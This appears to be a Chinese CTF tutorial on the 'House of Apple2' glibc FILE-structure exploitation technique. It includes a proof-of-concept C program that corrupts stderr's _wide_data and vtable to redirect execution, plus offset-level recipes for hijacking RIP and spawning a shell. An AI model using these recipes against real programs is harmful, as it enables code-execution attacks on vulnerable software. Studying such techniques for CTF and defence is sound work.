跳转至

House of Apple2

0xff 背景

house of apple1总得来说就是通过_IO_FILE->_wide_data来实现一次任意地址写堆地址的效果。等价于一次largebin attack

house of appl2便是通过劫持_wide_data来控制程序执行流

0x00 利用条件

  1. 已知heap地址和glibc地址

  2. 能控制程序执行IO操作,例如*从main函数返回,调用exit函数,触发__malloc_assert*

  3. 能够控制_IO_FILEvtable_wide_data,也可以认为是可以有largebin attack机会。或者说,可以任意地址写一个堆地址

0x01 原理

glibc2.23中,可以通过劫持vtable从而替换其中的函数指针来控制程序的执行流

但在glibc2.23之后的版本中增加了对vtable的合法性检查,判断vtable地址是否在一个合法区间内。不过如果将_IO_jump_t改成_IO_wfile_jumps依然可以通过检查,从而实现跳转

_IO_wfile_jumps结构体:

const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_new_file_finish),
  JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
  JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
  JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
  JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
  JUMP_INIT(xsputn, _IO_wfile_xsputn),
  JUMP_INIT(xsgetn, _IO_file_xsgetn),
  JUMP_INIT(seekoff, _IO_wfile_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_new_file_setbuf),
  JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
  JUMP_INIT(doallocate, _IO_wfile_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_file_close),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_wfile_jumps)

此时如果将vtable中的_IO_jump_t结构体地址改成_IO_wfile_jump,那么本应调用__overflow的函数不会执行,而是去调用_IO_wfile_jumps中的_IO_wfile_overflow函数

我们可以劫持IO_FILEvtable_IO_wfile_jumps,控制_wide_data为可控的堆地址空间,进而控制_wide_data->_wide_vtable为可控的堆地址空间。控制程序执行IO流函数调用,最终调用到_IO_Wxxx函数即可控制程序的执行流

demo

#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>

void backdoor()
{
    printf("\033[31m[!] Backdoor is called!\n");
    _exit(0);
}

void main()
{
    setbuf(stdout, 0);
    setbuf(stdin, 0);
    setbuf(stderr, 0);

    char *p1 = calloc(0x200, 1);
    char *p2 = calloc(0x200, 1);
    puts("[*] allocate two 0x200 chunks");

    size_t puts_addr = (size_t)&puts;
    printf("[*] puts address: %p\n", (void *)puts_addr);
    size_t libc_base_addr = puts_addr - 0x84420;
    printf("[*] libc base address: %p\n", (void *)libc_base_addr);

    size_t _IO_2_1_stderr_addr = libc_base_addr + 0x1ed5c0;
    printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr);

    size_t _IO_wstrn_jumps_addr = libc_base_addr + 0x1e8c60;
    printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);

    char *stderr2 = (char *)_IO_2_1_stderr_addr;
    puts("[+] step 1: change stderr->_flags to 0x800");
    *(size_t *)stderr2 = 0x800;

    puts("[+] step 2: change stderr->_mode to 1");
    *(size_t *)(stderr2 + 0xc0) = 1;

    puts("[+] step 3: change stderr->vtable to _IO_wstrn_jumps-0x20");
    *(size_t *)(stderr2 + 0xd8) = _IO_wstrn_jumps_addr-0x20;

    puts("[+] step 4: replace stderr->_wide_data with the allocated chunk p1");
    *(size_t *)(stderr2 + 0xa0) = (size_t)p1;

    puts("[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2");
    *(size_t *)(p1 + 0xe0) = (size_t)p2;

    puts("[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr >  stderr->_wide_data->_wide_vtable->_IO_write_base");
    *(size_t *)(p1 + 0x20) = (size_t)1;

    puts("[+] step 7: put backdoor at fake _wide_vtable->_overflow");
    *(size_t *)(p2 + 0x18) = (size_t)(&backdoor);

    puts("[+] step 8: call fflush(stderr) to trigger backdoor func");
    fflush(stderr);
}
以上 demo 为通过_IO_wdefault_xsgetn函数实现后门函数的调用

0x02 利用思路

目前glibc源码中搜索到的_IO_Wxxxx系列函数的调用只有 _IO_WSETBUF_IO_WUNDERFLOW_IO_WDOALLOCATE_IO_WOVERFLOW

利用_IO_wfile_overflow函数控制程序执行流

对_IO_FILE结构体变量设置如下 - _flags设置为~(2|0x8|0x800) - 如果不需要控制rdi,直接设置为0 - 如果需要获得shell,可设置为sh - vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址(加减偏移),使其能成功调用_IO_wfile_overflow即可 - _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A - _wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0 - _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0 - _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B - _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C 调用链

_IO_wfile_overflow
    _IO_wdoallocbuf
        _IO_WDOALLOCATE
            *(fp->_wide_data->_wide_vtable+0x68)(fp)

利用_IO_wfile_underflow_mmap函数控制程序执行流

fp的设置如下: - _flags设置为~4, - 如果不需要控制rdi,设置为0即可; - 如果需要获得shell,可设置为 sh;,注意前面有个空格 - vtable设置为_IO_wfile_jumps_mmap地址(加减偏移),使其能成功调用_IO_wfile_underflow_mmap即可 - _IO_read_ptr < _IO_read_end,即满足*(fp + 8) < *(fp + 0x10) - _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A - _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end,即满足*A >= *(A + 8) - _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0 - _wide_data->_IO_save_base设置为0或者合法的可被free的地址,即满足*(A + 0x40) = 0 - _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B - _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C 调用链

_IO_wfile_underflow_mmap
    _IO_wdoallocbuf
        _IO_WDOALLOCATE
            *(fp->_wide_data->_wide_vtable + 0x68)(fp)

利用_IO_wdefault_xsgetn函数控制程序执行流

**这条链执行的条件是调用到_IO_wdefault_xsgetn时rdx寄存器,也就是第三个参数不为0**如果不满足这个条件,可选用其他链。 对fp的设置如下: - _flags设置为0x800 - vtable设置为_IO_wstrn_jumps/_IO_wmem_jumps/_IO_wstr_jumps地址(加减偏移),使其能成功调用_IO_wdefault_xsgetn即可 - _mode设置为大于0,即满足*(fp + 0xc0) > 0 - _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A - _wide_data->_IO_read_end == _wide_data->_IO_read_ptr设置为0,即满足*(A + 8) = *A - _wide_data->_IO_write_ptr > _wide_data->_IO_write_base,即满足*(A + 0x20) > *(A + 0x18) - _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B - _wide_data->_wide_vtable->overflow设置为地址C用于劫持RIP,即满足*(B + 0x18) = C 函数的调用链如下:

_IO_wdefault_xsgetn
    __wunderflow
        _IO_switch_to_wget_mode
            _IO_WOVERFLOW
                *(fp->_wide_data->_wide_vtable+0x18)(fp)

评论

评论